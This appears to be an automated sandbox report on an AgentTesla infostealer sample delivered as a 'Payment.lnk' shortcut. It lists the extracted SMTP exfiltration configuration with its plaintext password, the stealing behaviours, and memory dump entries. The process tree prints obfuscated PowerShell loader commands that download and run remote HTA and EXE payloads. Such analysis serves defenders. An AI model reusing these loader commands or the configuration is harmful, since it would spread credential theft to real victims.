Analysis
- max time kernel
145s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20230220-en - resource tags
- submitted
11/05/2023, 19:11
General
- Target Payment.lnk
- Size 3KB
- Sample230511-xvyjyaab55
- SHA256 8e33efcf6dbf9703b9ce4af96de2e312674607d3d3ca067f6c1e31015488a443
Malware Config
Extracted
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Protocol
smtp
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Host
mail.thereccorp.com
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Port
587
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Username
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Password
O@123456
Extracted
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agenttesla
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Protocol
smtp
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Host
mail.thereccorp.com
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Port
587
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Username
-
Password
O@123456
-
Email to
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Blocklisted process makes network request 2 IoCs
- Downloads MZ/PE file
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 19 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Payment.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $ProgressPreference = 0; function nvRClWiAJT($OnUPXhNfGyEh){$OnUPXhNfGyEh[$OnUPXhNfGyEh.Length..0] -join('')}; function sDjLksFILdkrdR($OnUPXhNfGyEh){ $vecsWHuXBHu = nvRClWiAJT $OnUPXhNfGyEh; for($TJuYrHOorcZu = 0;$TJuYrHOorcZu -lt $vecsWHuXBHu.Length;$TJuYrHOorcZu += 2){ try{$zRavFAQNJqOVxb += nvRClWiAJT $vecsWHuXBHu.Substring($TJuYrHOorcZu,2)} catch{$zRavFAQNJqOVxb += $vecsWHuXBHu.Substring($TJuYrHOorcZu,1)}};$zRavFAQNJqOVxb}; $NpzibtULgyi = sDjLksFILdkrdR 'aht1.cocon/hi/coucys.erstmaofershma//s:tpht'; $cDkdhkGBtl = $env:APPDATA + '\' + ($NpzibtULgyi -split '/')[-1]; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $wbpiCTsGYi = wget $NpzibtULgyi -UseBasicParsing; [IO.File]::WriteAllText($cDkdhkGBtl, $wbpiCTsGYi); & $cDkdhkGBtl; sleep 3; rm $cDkdhkGBtl;2⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\coco1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function SgCgPBQWF($Jf, $MT){[IO.File]::WriteAllBytes($Jf, $MT)};function pYlEBNH($Jf){if($Jf.EndsWith((pJlleAeWx @(5781,5835,5843,5843))) -eq $True){Start-Process (pJlleAeWx @(5849,5852,5845,5835,5843,5843,5786,5785,5781,5836,5855,5836)) $Jf}else{Start-Process $Jf}};function ZGdPYo($kS){$wd = New-Object (pJlleAeWx @(5813,5836,5851,5781,5822,5836,5833,5802,5843,5840,5836,5845,5851));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$MT = $wd.DownloadData($kS);return $MT};function pJlleAeWx($Ga){$dM=5735;$J=$Null;foreach($iu in $Ga){$J+=[char]($iu-$dM)};return $J};function wOwbb(){$EqmpqqBTt = $env:APPDATA + '\';$TykgLPnC = ZGdPYo (pJlleAeWx @(5839,5851,5851,5847,5850,5793,5782,5782,5844,5832,5850,5839,5836,5849,5846,5837,5844,5832,5850,5851,5836,5849,5850,5781,5834,5856,5846,5852,5782,5834,5839,5840,5845,5782,5834,5846,5834,5846,5784,5781,5836,5855,5836));$qNjzb = $EqmpqqBTt + 'coco1.exe';SgCgPBQWF $qNjzb $TykgLPnC;pYlEBNH $qNjzb;;;;}wOwbb;4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\coco1.exe"C:\Users\Admin\AppData\Roaming\coco1.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_cnvnyuyi.030.ps1
coco1.exe
coco1.exe
coco1.exe
coco1.hta
memory/2400-195-0x0000000005400000-0x000000000541E000-memory.dmp
memory/2400-194-0x0000000002DB0000-0x0000000002DC0000-memory.dmp
memory/2400-193-0x0000000005450000-0x00000000054C6000-memory.dmp
memory/2400-192-0x00000000052E0000-0x0000000005372000-memory.dmp
memory/2400-191-0x0000000005240000-0x00000000052DC000-memory.dmp
memory/2400-190-0x00000000008C0000-0x000000000097A000-memory.dmp
memory/3828-154-0x0000000004D10000-0x0000000004D20000-memory.dmp
memory/3828-156-0x00000000059F0000-0x0000000005A56000-memory.dmp
memory/3828-170-0x00000000060B0000-0x00000000060CE000-memory.dmp
memory/3828-171-0x0000000004D10000-0x0000000004D20000-memory.dmp
memory/3828-172-0x0000000007910000-0x0000000007F8A000-memory.dmp
memory/3828-173-0x0000000006620000-0x000000000663A000-memory.dmp
memory/3828-175-0x00000000075F0000-0x0000000007686000-memory.dmp
memory/3828-176-0x0000000007580000-0x00000000075A2000-memory.dmp
memory/3828-177-0x0000000009540000-0x0000000009AE4000-memory.dmp
memory/3828-151-0x0000000002750000-0x0000000002786000-memory.dmp
memory/3828-155-0x00000000050D0000-0x00000000050F2000-memory.dmp
memory/3828-162-0x0000000005A60000-0x0000000005AC6000-memory.dmp
memory/3828-153-0x0000000004D10000-0x0000000004D20000-memory.dmp
memory/3828-152-0x0000000005350000-0x0000000005978000-memory.dmp
memory/4648-199-0x0000000006810000-0x000000000681A000-memory.dmp
memory/4648-208-0x00000000050B0000-0x00000000050C0000-memory.dmp
memory/4648-201-0x0000000006BC0000-0x0000000006D82000-memory.dmp
memory/4648-200-0x0000000006890000-0x00000000068E0000-memory.dmp
memory/4648-196-0x0000000000400000-0x0000000000430000-memory.dmp
memory/4648-198-0x00000000050B0000-0x00000000050C0000-memory.dmp
memory/4688-135-0x000001B079E30000-0x000001B079E52000-memory.dmp
memory/4688-145-0x000001B079F20000-0x000001B079F30000-memory.dmp
memory/4688-146-0x000001B079F20000-0x000001B079F30000-memory.dmp
memory/4688-147-0x000001B079F20000-0x000001B079F30000-memory.dmp